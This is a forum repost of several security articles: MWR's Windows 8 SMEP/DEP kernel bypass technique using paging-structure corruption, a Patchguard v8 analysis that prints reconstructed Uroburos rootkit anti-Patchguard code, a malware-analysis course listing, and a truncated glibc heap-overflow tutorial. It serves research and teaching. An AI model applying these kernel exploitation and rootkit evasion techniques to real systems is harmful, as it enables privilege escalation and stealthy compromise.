Nytro

Windows 8 Kernel Memory Protections Bypass Recently, MWR intern Jérémy Fetiveau (@__x86) conducted a research project into the kernel protections introduced in Microsoft Windows 8 and newer. This blog post details his findings, and presents a generic technique for exploiting kernel vulnerabilities, bypassing SMEP and DEP. Proof-of-concept code is provided which reliably gains SYSTEM privileges, and requires only a single vulnerability that provides an attacker with a write-what-where primitive. We demonstrate this issue by providing a custom kernel driver, which simulates the presence of such a kernel vulnerability. Introduction Before diving into the details of the bypass technique, we will quickly run through some of the technologies we will be breaking, and what they do. If you want to grab the code and follow along as we go, you can get the zip of the files here. SMEP SMEP (Supervisor Mode Execution Prevention) is a mitigation that aims to prevent the CPU from running code from user-mode while in kernel-mode. SMEP is implemented at the page level, and works by setting flags on a page table entry, marking it as either U (user) or S (supervisor). When accessing this page of memory, the MMU can check this flag to make sure the memory is suitable for use in the current CPU mode. DEP DEP (Data Execution Prevention) operates much the same as it does in user-mode, and is also implemented at the page level by setting flags on a page table entry. The basic principle of DEP is that no page of memory should be both writeable and executable, which aims to prevent the CPU executing instructions provided as data from the user. KASLR KASLR (Kernel Address Space Layout Randomization) is a mitigation that aims to prevent an attacker from successfully predicting the address of a given piece of memory. This is significant, as many exploitation techniques rely on an attacker being able to locate the addresses of important data such as shellcode, function pointers, etc. Paging 101 With the use of virtual memory, the CPU needs a way to translate virtual addresses to physical addresses. There are several paging structures involved in this process. Let’s first consider a toy example where we only have page tables in order to perform the translation. For each running process, the processor will use a different page table. Each entry of this page table will contain the information “virtual page X references physical frame Y”. Of course, these frames are unique, whereas pages are relative to their page table. Thus we can have a process A with a page table PA containing an entry “page 42 references frame 13” and a process B with a page table PB containing an entry “page 42 references frame 37”. If we consider a format for virtual addresses that consists of a page table field followed by an offset referencing a byte within this page, the same address 4210 would correspond to two different physical locations according to which process is currently running (and which page table is currently active). For a 64-bit x86_64 processor, the virtual address translation is roughly the same. However, in practice the processor is not only using page tables, but uses four different structures. In the previous example, we had physical frames referenced by PTEs (page table entries) within PTs (page tables). In the reality, the actual format for virtual addresses looks more like the illustration below: The cr3 register contains the physical address of the PML4. The PML4 field of a virtual address is used to select an entry within this PML4. The selected PML4 entry contains (with a few additional flags) the physical address of a PDPT (Page Directory Pointer Table). The PDPT field of a virtual address therefore references an entry within this PDPT. As expected this PDPT entry contains the physical address of the PD. Again, this entry contains the physical address of a PD. We can therefore use the PD field of the virtual address to reference an entry within the PD and so on and so forth. This is well summarized by Intel’s schema: It should be now be clearer how the hardware actually translates virtual addresses to physical addresses. An interested reader who is not familiar with the inner working of x64 paging can refer to the section 4.5 of the volume 3A of the Intel manuals for more in-depth explanations. Previous Exploitation Techniques In the past, kernel exploits commonly redirected execution to memory allocated in user-land. Due to the presence of SMEP, this is now no longer possible. Therefore, an attacker would have to inject code into the kernel memory, or convince the kernel to allocate memory with attacker-controlled content. This was commonly achieved by allocating executable kernel objects containing attacker controlled data. However, due to DEP, most objects are now non executable (for example, the “NonPagedPoolNx” pool type has replaced “NonPagedPool”). An attacker would now have to find a way to use a kernel payload which uses return-oriented programming (ROP), which re-uses existing executable kernel code. In order to construct such a payload, an attacker would need to know the location of certain “ROP gadgets”, which contain the instructions that will be executed. However, due to the presence of KASLR, these gadgets will be at different addresses on each run of the system, so locating these gadgets would likely require additional vulnerabilities. Technique Overview The presented technique consists of writing a function to deduce the address of paging structures from a given user-land memory address. Once these structures are located, we are able to partially corrupt them to change the metadata, allowing us to “trick” the kernel into thinking a chunk that was originally allocated in user-mode is suitable for use in kernel-mode. We can also corrupt the flags checked by DEP to make the contents of the memory executable. By doing this in a controlled manner, we can created a piece of memory that was initially allocated as not executable by a user-mode process, and modify the relevant paging structures so that it can be executed as kernel-mode code. We will describe this technique in more detail below. Retrieving the Addresses of Paging Structures When the kernel wants to access paging structures, it has to find their virtual addresses. The processor instructions only allow the manipulation of virtual addresses, not physical ones. Therefore, the kernel needs a way to map those paging structures into virtual memory. For that, several operating systems use a special self-referencing PML4 entry. Instead of referencing a PDPT, this PML4 entry will reference the PML4 itself, and shift the other values to make space for the new self-reference field. Thus, instead of referencing a specific byte of memory within a memory page, a PTE will be referenced instead. It is possible to retrieve more structures by using the same self-reference entry several times. A good description of this mechanism can also be found in the excellent book What makes it page? The Windows 7 (x64) virtual memory manager by Enrico Martignetti. A Step-By-Step Example To better understand this process, let’s go through an example showing how to build a function that maps a virtual address to the address of its PTE. First, we should remind ourselves of the usual format of a virtual address. A canonical address has its 48 bits composed of four 9-bit fields and one 12-bit offset field. The PML4 field references an entry within the PML4, the PDPT references an entry within the PDPT, and so on and so forth. If we want to reference a PTE instead of a byte located within a page, we can use the special PML4 entry 0y111101101. We fill the PML4 field with this special entry and then shift everything 9-bits to the right so that we get an address with the following format: We use this technique to build a function which maps the address of a byte of memory to the address of its PTE. If you are following along in the code, this is implemented in the function “getPTfromVA” in the file “computation.cpp”. It should be noted that, even though the last offset field is 12 bits, we still do a 9-bit shift and set the remaining bits to 0 so that we have an aligned address. To get the other structures, we can simply use the same technique several times. Here is an example for the PDE addresses: Modifying Paging Structures We use the term PXE as a generic term for paging structures, as many of them share the same structure, which is as follows: There are a number of fields that are interesting here, especially the NX bit field, which defines how the memory can be accessed, and the flags at the end, which include the U/S flag. This U/S flag denotes whether the memory is for use in user-mode or supervisor-mode (kernel-mode). When checking the rights of a page, the kernel will check every PXE involved in the address translation. That means that if we want to check if the U/S flag is set, we will check all entries relating to that page. If any of the entries do not have the supervisor flag set, any attempt to use this page from kernel mode will trigger a fault. If all of the entries have the supervisor flag set, the page will be considered a kernel-mode page. Because DEP is set at the page granularity level, typically higher level paging structures will be marked as executable, with DEP being applied at the PTE level by setting the NX bit. Because of this, rather than starting by allocating kernel memory, it is easier to allocate user memory with the executable rights using the standard API, and then corrupt the paging structures to modify the U/S flag and cause it to be interpreted as kernel memory. Using Isolated PXEs If we corrupt a random PXE, we are likely to be in a case where the target PXE is part of a series of PXEs that are contiguous in memory. In these cases, during exploitation it might mean that an attacker would corrupt adjacent PXEs, which has a high risk of causing a crash. Most of the time, the attacker can’t simply modify only 1 bit in memory, but has to corrupt several bytes (8 bytes in our POC), which will force the attacker to corrupt more than just the relevant flags for the exploit. The easiest way to circumvent this issue is simply to target a PXE which is isolated (e.g., with unused PXE structures on either side of the target PXE). In 64-bit environments, a process has access to a huge virtual address space of 256TB as we are effectively using a 48-bit canonical addresses instead of the full 64-bit address space. A 48-bit virtual address is composed of several fields allowing it to reference different paging structures. As the PML4 field is 9 bits, it refers to one of 512 (2**9) PML4 entries. Each PML4 entry describes a range of 512GB (2**39). Obviously, a user process will not use so much memory that it will use all of the PML4 entries. Therefore, we can request the allocation of memory at an address outside of any 512GB used range. This will force the use of a new PML4 entry, which will reference structures containing only a single PDPT entry, a single PDE and a single PTE. An interested reader can verify this idea using the “!address” and “!pte” windbg extensions to observe those “holes” in memory. In the presented POC, the 0×100804020001 address is used, as it is very likely to be in an unused area. Practical Attack The code for the mitigation bypass is very simple. Suppose that we’ve got a vulnerable kernel component for which we are able to exploit a vulnerability which gives us a write-what-where primitive from a user-land process (this is implemented within the “write_what_where” function in our POC). We choose a virtual address with isolated paging structures (such as 0×100804020001), allocate it and fill it with our shellcode. We then retrieve all of its paging structures using the mapping function described earlier in this post (using the field shifting and the self- referencing PML4). Finally, we perform unaligned overwrites of the 4 PXEs relating to our chosen virtual address to modify its U/S bit to supervisor. Of course, other slightly different scenarios for exploitation could be considered. For instance, if we can decrement or increment an arbitrary value in memory, we could just flip the desired flags. Also, since we are using isolated paging structures, even in the case of a bug leading to the corruption of a lot of adjacent data, the technique can still be used because it is unlikely that any important structures are located in the adjacent memory. With this blog post, we provide an exploit for a custom driver with a very simple write-what-where vulnerability so as to let the reader experiment with the technique. However, this document was originally submitted to Microsoft with a real-world use-after-free vulnerability. Indeed, in a lot of cases, it would be possible for an attacker to force a write-what-where primitive from a vulnerability such as a use-after-free or a pool overflow. Mitigating the Attack This technique is not affected by KASLR because it is possible to directly derive the addresses of paging structures from a given virtual address. If randomization was introduced into this mapping, this would no longer be possible, and this technique would be mitigated as a result. Randomizing this function would require having a different self-referencing PML4 entry each time the kernel boots. However, it is recognised that many of the core functions of the kernel memory management may rely on this mapping to locate and update paging structures. It might also be possible to move the paging structures into a separate segment, and reference these structures using an offset in that segment. If we consider the typical write-what-where scenarios, unless the address specified already had a segment prefix, it would not be possible for an attacker to overwrite the paging structures, even if the offset within the segment was known. If this is not possible, another approach might be to use a hardware debug register as a faux locking mechanism. For example, if a hardware breakpoint was set on the access to the paging structures (or key fields of the structures), a handler for that breakpoint could test the value of the debug register to assess whether this access is legitimate or not. For example, before a legitimate modification to the paging structures, the kernel can unset the debug register, and no exception would be thrown. If an attacker attempted to modify the memory without unsetting the debug register, an exception could be thrown to detect this. Vendor Response We reported this issue to Microsoft as part of their Mitigation Bypass Bounty Program. However, they indicated that this did not meet all of their program guidelines as it cannot be used to remotely exploit user-mode vulnerabilities. In addition, Microsoft stated that their security engineering team were aware of this “limitation”, they did not consider this a security vulnerability, and that the development of a fix was not currently planned. With this in mind, we have decided to release this post and the accompanying code to provide a public example of current Windows kernel research. However, we have chosen not to release the fully weaponised exploit we developed as part of the submission to Microsoft, as this makes use of a vulnerability that has only recently been patched. Conclusion The technique proposed in this post allows an attacker to reliably bypass both DEP and SMEP in a generic way. We showed that it is possible to derive the addresses of paging structures from a virtual address, and how an attacker could use this to corrupt paging structures so as to create executable kernel memory, even in low memory addresses. We demonstrated that this technique is usable without the fear of corrupting non targeted PXEs, even if the attacker had to corrupt large quantities of memory. Furthermore, we showed that this technique is not specific to bugs that provide a write-what-where primitive, but can also be used for a broad range of bug classes. Sursa: https://labs.mwrinfosecurity.com/blog/2014/08/15/windows-8-kernel-memory-protections-bypass/

The Windows 8.1 Kernel Patch Protection In the last 3 months we have seen a lot of machines compromised by Uroburos (a kernel-mode rootkit that spreads in the wild and specifically targets Windows 7 64-bit). Curiosity lead me to start analyzing the code for Kernel Patch Protection on Windows 8.1. We will take a glance at its current implementation on that operating system and find out why the Kernel Patch Protection modifications made by Uroburos on Windows 7 don’t work on the Windows 8.1 kernel. In this blog post, we will refer to the technology known as “Kernel Patch Protection” as “Patchguard”. Specifically, we will call the Kernel Patch Protection on Windows 7 “Patchguard v7”, and the more recent Windows 8.1 version “Patchguard v8”. The implementation of Patchguard has slightly changed between versions of Windows. I would like to point out the following articles that explain the internal architecture of older versions of Patchguard: Skape, Bypassing PatchGuard on Windows x64, Uninformed, December 2005 Skywing, PatchGuard Reloaded - A Brief Analysis of PatchGuard Version 3, Uninformed, September 2007 Christoph Husse, Bypassing PatchGuard 3 - CodeProject, August 2008 Kernel Patch Protection - Old version attack methods We have seen some attacks targeting older versions of the Kernel Patch Protection technology. Some of those (see Fyyre’s website for examples) disarm Patchguard by preventing its initialization code from being called. Patchguard is indeed initialized at Windows startup time, when the user switches on the workstation. To do this, various technologies have been used: the MBR Bootkit (PDF, in Italian), VBR Bootkit, and even a brand-new UEFI Bootkit. These kind of attacks are quite easy to implement, but they have a big drawback: they all require the victim's machine to be rebooted, and they are impossible to exploit if the target system implements some kind of boot manager digital signature protection (like Secure Boot). Other techniques relied on different tricks to evade Patchguard or to totally block it. These techniques involve: x64 debug registers (DR registers) - Place a managed hardware breakpoint on every read-access in the modified code region. This way the attacker can restore the modification and then continue execution Exception handler hooking - PatchGuard’s validation routine (the procedure that calls and raises the Kernel Patch protection checks) is executed through exception handlers that are raised by certain Deferred Procedure Call (DPC) routines; this feature gives attackers an easy way to disable PatchGuard. Hooking KeBugCheckEx and/or other kernel key functions - System compromises are reported through the KeBugCheckEx routine (BugCheck code 0x109); this is an exported function. PatchGuard clears the stack so there is no return point once one enters KeBugCheckEx, though there is a catch. One can easily resume the thread using the standard “thread startup” function of the kernel. Patching the kernel timer DPC dispatcher - Another attack cited by Skywing (see references above). By design, PatchGuard’s validation routine relies on the dispatcher of the kernel timers to kick in and dispatch the deferred procedure call (DPC) associated with the timer. Thus, an obvious target for attackers is to patch the kernel timer’s DPC dispatcher code to call their own code. This attack method is easy to implement. Patchguard code direct modification - Attack method described in a paper by McAfee. They located the encrypted Patchguard code directly in the kernel heap, then manually decrypted it and modified its entry point (the decryption code). The Patchguard code was finally manually re-encrypted. The techniques described above are quite ingenious. They disable Patchguard without rebooting the system or modify boot code. It’s worth noting that the latest Patchguard implementation has rendered all these techniques obsolete, because it has been able to completely neutralize them. Now let’s analyse how the Uroburus rootkit implements the KeBugCheckEx hooks to turn off Kernel Patch Protection on a Windows 7 SP1 64-bit system. Uroburus rootkit - KeBugCheckEx’ hook Analysing an infected machine reveals that the Uroburos 64-bit driver doesn’t install any direct hook on the kernel crash routine named “KeBugCheckEx”. So why doesn't it do any direct modification? To answer this question, an analysis of Patchguard v7 code is needed. Patchguard copies the code of some kernel functions into a private kernel buffer. The copied procedures are directly used by Patchguard to perform all integrity checks, including crashing the system if any modification is found.In the case of system modifications, it copies the functions back to their original location and crashes the system. The problem with the implementation of Patchguard v7 lies in the code for the procedures used by protected routines. That code is vulnerable to direct manipulation as there is only one copy (the original one) This is, in fact, the Uroburos strategy: KeBugCheckEx is not touched in any manner. Only a routine used directly by KeBugCheckEx is forged: RtlCaptureContext. The Uroburos rootkit installs deviations in the original Windows Kernel routines by registering custom software interrupt 0x3C. In the forged routines, the interrupt is raised using the x86 opcode “int” RtlCaptureContext The related Uroburos interrupt service routine of the RtlCaptureContext routine (sub-type 1), is raised by the forged code. The software interrupt is dispatched, the original routine called and finally the processor context is analysed. A filter routine is called. It implements the following code: /* Patchguard Uroburos Filter routine* dwBugCheckCode - Bugcheck code saved on the stack by KeBugCheckEx routine * lpOrgRetAddr - Original RtlCaptureContext call return address */ void PatchguardFilterRoutine(DWORD dwBugCheckCode, ULONG_PTR lpOrgRetAddr) { LPBYTE pCurThread = NULL; // Current running thread LPVOID lpOrgThrStartAddr = NULL; // Original thread DWORD dwProcNumber = 0; // Current processor number ULONG mjVer = 0, minVer = 0; // OS Major and minor version indexes QWORD * qwInitialStackPtr = 0; // Thread initial stack pointer KIRQL kCurIrql = KeGetCurrentIrql(); // Current processor IRQL // Get Os Version PsGetVersion(&mjVer, &minVer, NULL, NULL); if (lpOrgRetAddr > (ULONG_PTR)KeBugCheckEx && lpOrgRetAddr < ((ULONG_PTR)KeBugCheckEx + 0x64) && dwBugCheckCode == CRITICAL_STRUCTURE_CORRUPTION) { // This is the KeBugCheckEx Patchguard invocation // Get Initial stack pointer qwInitialStackPtr = (LPQWORD)IoGetInitialStack(); if (g_lpDbgPrintAddr) { // DbgPrint is forged with a single "RETN" opcode, restore it // DisableCR0WriteProtection(); // ... restore original code ... // RestoreCR0WriteProtection(); // Revert CR0 memory protection } pCurThread = (LPBYTE)KeGetCurrentThread(); // Get original thread start address from ETHREAD lpOrgThrStartAddr = *((LPVOID*)(pCurThread + g_dwThrStartAddrOffset)); dwProcNumber = KeGetCurrentProcessorNumber(); // Initialize and queue Anti Patchguard Dpc KeInitializeDpc(&g_antiPgDpc, UroburusDpcRoutine, NULL); KeSetTargetProcessorDpc(&g_antiPgDpc, (CCHAR)dwProcNumber); KeInsertQueueDpc(&g_antiPgDpc, NULL, NULL); // If target Os is Windows 7 if (mjVer >= 6 && minVer >= 1) // Put stack base address in first stack element qwInitialStackPtr[0] = ((ULONG_PTR)qwInitialStackPtr + 0x1000) & (~0xFFF); if (kCurIrql > PASSIVE_LEVEL) { // Restore original DPC context ("KiRetireDpcList" Uroburos interrupt plays // a key role here). This call doesn't return RestoreDpcContext(); // The faked DPC will be processed } else { // Jump directly to original thread start address (ExpWorkerThread) JumpToThreadStartAddress((LPVOID)qwInitialStackPtr, lpOrgThrStartAddr, NULL); } } } As the reader can see, the code is quite straightforward. First it analyses the original context: if the return address lives in the prologue of the kernel routine KeBugCheckEx and the bugcheck code equals to CRITICAL_STRUCTURE_CORRUPTION , then it means that Uroburos has intercepted a Patchguard crash request. The initial thread start address and stack pointer is obtained from the ETHREAD structure and a faked DPC is queued: // NULL Uroburos Anti-Patchguard DPCvoid UroburusDpcRoutine(struct _KDPC *Dpc, PVOID DeferredContext, PVOID SystemArgument1, PVOID SystemArgument2) { return; } Code execution is resumed in one of two different places based on the current Interrupt Request Level (IRQL). If IRQL is at the PASSIVE_LEVEL then a standard JMP opcode is used to return to the original start address of the thread from which the Patchguard check originated (in this case, it is a worker thread created by the “ExpWorkerThread” routine). If the IRQL is at a DISPATCH_LEVEL or above, Uroborus will exploit the previously acquired processor context using the KiRetireDpcList hook. Uroburos will then restart code execution at the place where the original call to KiRetireDpcList was made, remaining at the high IRQL level. The faked DPC is needed to prevent a crash of the restored thread. KiRetireDpcList and RtlLookupFunctionEntry As shown above, the KiRetireDpcList hook is needed to restore the thread context in case of a high IRQL. This hook saves the processor context before the original call is made and then transfers execution back to the original KiRetireDpcList Windows code. Publicly available literature about Uroburos claims that the RtlLookupFunctionEntry hook is related to the Anti-Patchguard feature. This is wrong. Our analysis has pinpointed that this hook is there only to hide and protect the Uroburos driver’s RUNTIME_FUNCTIONarray (see my previous article about Windows 8.1 Structured Exception Handling). Conclusion The Uroburos anti-Patchguard feature code is quite simple but very effective. This method is practically able to disarm all older versions of the Windows Kernel Patch protection without any issues or system crashes. Patchguard v8 - Internal architecture STARTUP The Windows Nt Kernel startup is accomplished in 2 phases. The Windows Internals book describes the nitty-gritty details of both phases. Phase 0 builds the rudimentary kernel data structures required to allow the services needed in phase 1 to be invoked (page tables, per-processor Processor Control Blocks (PRCBs), internal lists, resources and so on…). At the end of phase 0, the internal routine InitBootProcessor uses a large call stack that ends right at the Phase1InitializationDiscard function. This function, as the name implies, discards the code that is part of the INIT section of the kernel image in order to preserve memory. Inside it, there is a call to the KeInitAmd64SpecificState routine. Analysing it reveals that the code is not related to its name: int KeInitAmd64SpecificState() { DWORD dbgMask = 0; int dividend = 0, result = 0; int value = 0; // Exit in case the system is booted in safe mode if (InitSafeBootMode) return 0; // KdDebuggerNotPresent: 1 - no debugger; 0 - a debugger is attached dbgMask = KdDebuggerNotPresent; // KdPitchDebugger: 1 - debugger disabled; 0 - a debugger could be attached dbgMask |= KdPitchDebugger; if (dbgMask) dividend = -1; // Debugger completely disabled else dividend = 0x11; // Debugger might be enabled value = (int)_rotr(dbgMask, 1); // “value” is equal to 0 if debugger is enable // 0x80000000 if debugger is NOT enabled // Perform a signed division between two 32 bit integers: result = (int)(value / dividend); // IDIV value, dividend return result; } The routine’s code ends with a signed division: if a debugger is present the division is evaluated to 0 (0 divided by 0x11 is 0), otherwise a strange thing happens: 0x80000000 divided by 0xFFFFFFFF raises an overflow exception. To understand why, let’s simplify everything and perform as an example an 8-bit signed division such as: -128 divided by -1. The result should be +128. Here is the assembly code: mov cl, FFh mov ax, FF80h idiv cl The last instruction clearly raises an exception because the value +128 doesn’t fit in the destination 8-bit register AL (remember that we are speaking about signed integers). Following the SEH structures inside of the Nt Kernel file leads the code execution to the “KiFilterFiberContext” routine. This is another procedure with a misleading name: all it does is disable a potential debugger, and prepare the context for the Patchguard Initialization routine. The initialization routine of the Kernel Patch Protection technology is a huge function (95 KB of pure machine code) inside the INIT section of Nt Kernel binary file. From now on, we will call it “KiInitializePatchguard”. INTERNAL ARCHITECTURE, A QUICK GLANCE The initialization routine builds all the internal Patchguard key data structures and copies all its routines many times. The code for KiInitializePatchguard is very hard to follow and understand because it contains obfuscation, useless opcode, and repeated chunks. Furthermore, it contains a lot checks for the presence of debugger. After some internal environment checks, it builds a huge buffer in the Kernel Nonpaged pool memory that contains all the data needed by Patchguard. This buffer is surrounded by a random numbers of 8 bytes QWORD seed values repetitively calculated with the “RDTSC” opcode. Image: https://lh4.googleusercontent.com/oym_O5vcYyOXAlauXqrwRVVEt2rkj27OED4AwT90LsveJ6KfUbfFqh_lx-ZJxEasIVx_aTU6Fqdreh5pNm55yK5vPcS7xPM0TZ5VpWrotqJUjRsBEE9ax06G-N5_oa3aBA As the reader can see from the above picture , the Patchguard buffer contains a lot of useful info. All data needed is organized in 3 main sections: Internal configuration data The first buffer area located after the TSC (time stamp counter) Seed values contains all the initial patchguard related configuration data. Noteworthy are the 2 Patchguard Keys (the master one, used for all key calculation, and the decryption key), the Patchguard IAT (pointers of some Nt kernel function) and all the needed Kernel data structures values (for example the KiWaitAlways symbol, KeServiceDescriptorTable data structure, and so on…), the Patchguard verification Work item, the 3 copied IDT entries (used to defeat the Debug registers attack), and finally, the various Patchguard internal relocated functions offsets. Patchguard and Nt Vital routines code This section is very important because it contains the copy of the pointers and the code of the most important Nt routines used by Patchguard to crash the system in case of something wrong is found. In this way even if a rootkit tries to forge or block the crash routines, Patchguard code can completely defeat the malicious patch and correctly crash the system. Here is the list of the copied Nt functions: HaliHaltSystem, KeBugCheckEx, KeBugCheck2, KiBugCheckDebugBreak, KiDebugTrapOrFault, DbgBreakPointWithStatus, RtlCaptureContext, KeQueryCurrentStackInformation, KiSaveProcessorControlState, HalHaltSystem pointer Furthermore the section contains the entire “INITKDBG” code section of Nt Kernel. This section implement the main Patchguard code: - Kernel Patch protection main check routine and first self-verification procedure - Patchguard Work Item routine, system crash routine (that erases even the stack) - Patchguard timer and one entry point (there are many others, but not in INITKDBG section) Protected Code and Data All the values and data structures used to verify the entire Nt kernel code resides here. The area is huge (227 KB more or less) and it is organized in at least 3 different way: [*=1] First 2 KB contains an array of data structures that stores the code (and data) chunks pointer, size, and relative calculated integrity keys of all the Nt functions used by Kernel Patch Protection to correctly do its job. [*=1] Nt Kernel Module (“ntoskrnl.exe”) base address and its Exception directory pointer, size and calculated integrity key. A big array of DWORD keys then follows. For each module’s exception directory RUNTIME_FUNCTION entry there is a relative 4 bytes key. In this manner Patchguard can verify each code chunk of the Nt Kernel. [*=1] A copy of all Patchguard protected data. I still need to investigate the way in which the protected Patchguard data (like the global “CI.DLL” code integrity module’s “g_CiOptions” symbol for example) is stored in memory, but we know for sure that the data is binary copied from its original location when the OS is starting in this section VERIFICATION METHODS - Some Words Describing the actual methods used to verify the integrity of the running Operating system kernel is outside the scope of this article. We are going only to get an introduction... Kernel Patch protection has some entry points scattered inside the Kernel: 12 DPC routines, 2 timers, some APC routines, and others. When the Patchguard code acquires the processor execution, it decrypts its buffer and then calls the self-verify routine. The latter function first verifies 0x3C0 bytes of the Patchguard buffer (including the just-executed decryption code), re-calculating a checksum value and comparing it with the stored one. Then it does the same verification as before, but for the Nt Functions exploited by its main check routine. The integrity keys and verification data structures are stored in the start of area 3 of PG buffer. If one of the checks goes wrong, Patchguard self-verify routine immediately crashes the system. It does this in a very clever manner: First it restores all the Virtual memory structures values of vital Nt kernel functions (like Page table entry, Page directory entry and so on…). Then it replaces all the code with the copied one, located in the Patchguard buffer. In this way each eventual rootkit modification is erased and as result Patchguard code can crash the system without any obstacles. Finally calls “SdbpCheckDll” routine (misleading name) to erase the current thread stack and transfer execution to KeBugCheckEx crash routine. Otherwise, in the case that all the initial checks pass, the code queues a kernel Work item, exploiting the standard ExQueueWorkItem Kernel API (keep in mind that this function has been already checked by the previous self-verify routine). The Patchguard work item code immediately calls the main verification routine. It then copies its own buffer in another place, re-encrypt the old Patchguard buffer, and finally jumps to the ExFreePool Kernel function. The latter procedure will delete the old Patchguard buffer. This way, every time a system check is raised, the Patchguard buffer location changes. Main check routine uses some other methods to verify each Nt Kernel code and data chunk. Describing all of them and the functionality of the main check routine is demanded to the next blog post…. The code used by Patchguard initialization routine to calculated the virtual memory data structure values is something curious. Here is an example used to find the Page Table entry of a 64-bit memory address: CalculatePteVa: shr rcx, 9 ; Original Ptr address >> 9 mov rax, 98000000000h ; This negated value is FFFFFF680'00000000, or more ; precisely "16 bit set to 1, X64 auto-value, all zeros" mov r15, 07FFFFFFFF8h and rcx, r15 ; RCX & 7F'FFFFFFF8h (toggle 25 MSB and last 3 LSB) sub rcx, rax ; RCX += FFFFFF680'00000000 mov rax, rcx ; RAX = VA of PTE of target function For the explanation on how it really works, and what is the x64 0x1ED auto-value, I remind the reader to the following great book about X64 Memory management: Enrico Martignetti - What Makes it Page? The Windows 7 (x64) Virtual Memory Manager (2012) Conclusions In this blog post we have analysed the Uroburos code that disables the old Windows 7 Kernel Patch Protection, and have given overview of the new Patchguard version 8 implementation. The reader should now be able to understand why the attacks such as the one used by Uroburos could not work with the new version of Kernel Patch Protection. It seems that the new implementation of this technology can defeat all known attacks. Microsoft engineers have done a great amount of work to try to mitigate a class of attacks . Because of the fact that the Kernel Patch Protection is not hardware-assisted, and the fact that its code runs at kernel-mode privilege level (the same of all kernel drivers), it is not perfect. At an upcoming conference, I will demonstrate that a clever researcher can still disarm this new version, even if it’s a task that is more difficult to accomplish. The researcher can furthermore use the original Microsoft Patchguard code even to protect his own hooks…. Stay tuned! Sursa: VRT: The Windows 8.1 Kernel Patch Protection

Creator: Veronica Kovah License: Creative Commons: Attribution, Share-Alike (http://creativecommons.org/licenses/by-sa/3.0/) Class Prerequisites: None Lab Requirements: Linux system with VirtualBox and Windows XP VM. Class Textbooks: “Practical Malware Analysis” by Michael Sikorski and Andrew Honig Recommended Class Duration: 2-3 days Creator Available to Teach In-Person Classes: Yes Author Comments: This introductory malware dynamic analysis class is dedicated to people who are starting to work on malware analysis or who want to know what kinds of artifacts left by malware can be detected via various tools. The class will be a hands-on class where students can use various tools to look for how malware is: Persisting, Communicating, and Hiding We will achieve the items above by first learning the individual techniques sandboxes utilize. We will show how to capture and record registry, file, network, mutex, API, installation, hooking and other activity undertaken by the malware. We will create fake network responses to deceive malware so that it shows more behavior. We will also talk about how using MITRE's Malware Attribute Enumeration & Characterization (MAEC - pronounced "Mike") standard can help normalize the data obtained manually or from sandboxes, and improve junior malware analysts' reports. The class will additionally discuss how to take malware attributes and turn them into useful detection signatures such as Snort network IDS rules, or YARA signatures. Dynamic analysis should always be an analyst's first approach to discovering malware functionality. But this class will show the instances where dynamic analysis cannot achieve complete analysis, due to malware tricks for instance. So in this class you will learn when you will need to use static analysis, as offered in follow the follow on Introduction to Reverse Engineering and Reverse Engineering Malware classes. During the course students will complete many hands on exercises. Course Objectives: * Understand how to set up a protected dynamic malware analysis environment * Get hands on experience with various malware behavior monitoring tools * Learn the set of malware artifacts an analyst should gather from an analysis * Learn how to trick malware into exhibiting behaviors that only occur under special conditions * Create actionable detection signatures from malware indicators This class is recommended for a later class on malware static analysis. This is so that students understand both techniques, and utilize the technique which gives the quickest answer to a given question. Every attempt was made to properly cite references, but if any are missing, please contact the author. Class Materials All Materials (.zip of odp(222 slides) & class malware examples) All Materials (.zip of pdf(222 slides) & class malware examples) Slides Part 1 (Background concepts, terms, tools & lab setup, 68 slides) Slides Part 2 (RAT Analysis (Poison Ivy), persistence & maneuvering (how the malware strategically positions itself on the system, 67 slides) Slides Part 3 (Malware functionality (e.g. keylogging, phone home, security degradation, self-destruction, etc), 43 slides) Slides Part 3 (Using an all-in-one sandbox (Cuckoo), MAEC, converting output to actionable indicators of malware presence (e.g. Snort/Yara signatures), 44 slides) malware samples used in class. Password is “infected” HD Videos on Youtube Full quality downloadable QuickTime, h.264, and Ogg videos at Archive.org: Day 1 Part 1 : Introduction (8:10) Day 1 Part 2 : Background: VirtualBox (5:56) Day 1 Part 3 : Background: PE files & Packers (17:00) Day 1 Part 4 : Background: File Identification (15:44) Day 1 Part 5 : Background: Windows Libraries (4:27) Day 1 Part 6 : Background: Windows Processes (35:16) Day 1 Part 7 : Background: Windows Registry (18:07) Day 1 Part 8 : Background: Windows Services (25:52) Day 1 Part 9 : Background: Networking Refresher (27:38) Day 1 Part 10 : Isolated Malware Lab Setup (26:47) Day 1 Part 11 : Malware Terminology (6:50) Day 1 Part 12 : Playing with Malware: Poison Ivy RAT (30:54) Day 1 Part 13 : Behavioral Analysis Overview (5:30) Day 1 Part 14 : Persistence (34:54) Day 2 will be posted Aug 24th Day 3 was lost due to a video server malfunction. The class will be re-delivered at MITRE in September, and day 3 be re-recorded then. Sursa: MalwareDynamicAnalysis

x86 Exploitation 101: heap overflows… unlink me, would you please? Well, do the previous techniques apply to the dynamic allocation scenario? What if, instead of a statically allocated array, there’s a malloc-ed space? Would that work? Well, more or less, but things get REALLY more complicated. And I mean it for real. So, instead of stack overflows, there will be heap overflows: problem is that heap and stack work in different ways. In addition, the heap is handled differently according to the allocator implementation: this makes heap overflow exploits really dependent on the allocator implementation and on the operating system. As for now I’m taking care about Linux, I decided to analyze the exploitation scenario and the history of the most common Linux allocator, i.e. the one included in GNU C library (glibc). Why should I care about the history? Glibc developers patched, time after time, the most of the bugs in the malloc implementation that allowed exploits to work. This, anyway, is a good training exercise to really get into this stuff and understand the general thought. Also, as the exploitation of a heap overflow strongly relies on the implementation of the allocator, a deep analysis on how it’s implemented is mandatory. So, first things first. How is the malloc implemented in glibc? The implementation is a variation of the ptmalloc2 implementation, which is a variation of dlmalloc. Anyway, as the glibc code says, “There have been substantial changes made after the integration into glibc in all parts of the code. Do not look for much commonality with the ptmalloc2 version”. Even if it’s a variation of a variation, the fundamental ideas are still the same. Actually the ptmalloc2 supports more than one heap at the same time, and each heap is identified by the following structure: [INDENT] typedef struct _heap_info { mstate ar_ptr; /* Arena for this heap. */ struct _heap_info *prev; /* Previous heap. */ size_t size; /* Current size in bytes. */ size_t mprotect_size; /* Size in bytes that has been mprotected PROT_READ|PROT_WRITE. */ /* Make sure the following data is properly aligned, particularly that sizeof (heap_info) + 2 * SIZE_SZ is a multiple of MALLOC_ALIGNMENT. */ char pad[-6 * SIZE_SZ & MALLOC_ALIGN_MASK]; } heap_info; [/INDENT] The most important thing in this structure is the ar_ptr variable, as it’s a pointer to the arena, i.e. the heap itself. Also, there’s the size variable storing the size of the heap. Having more than one heap in a multi-threading context is really useful, as if a thread is reading the content of a variable 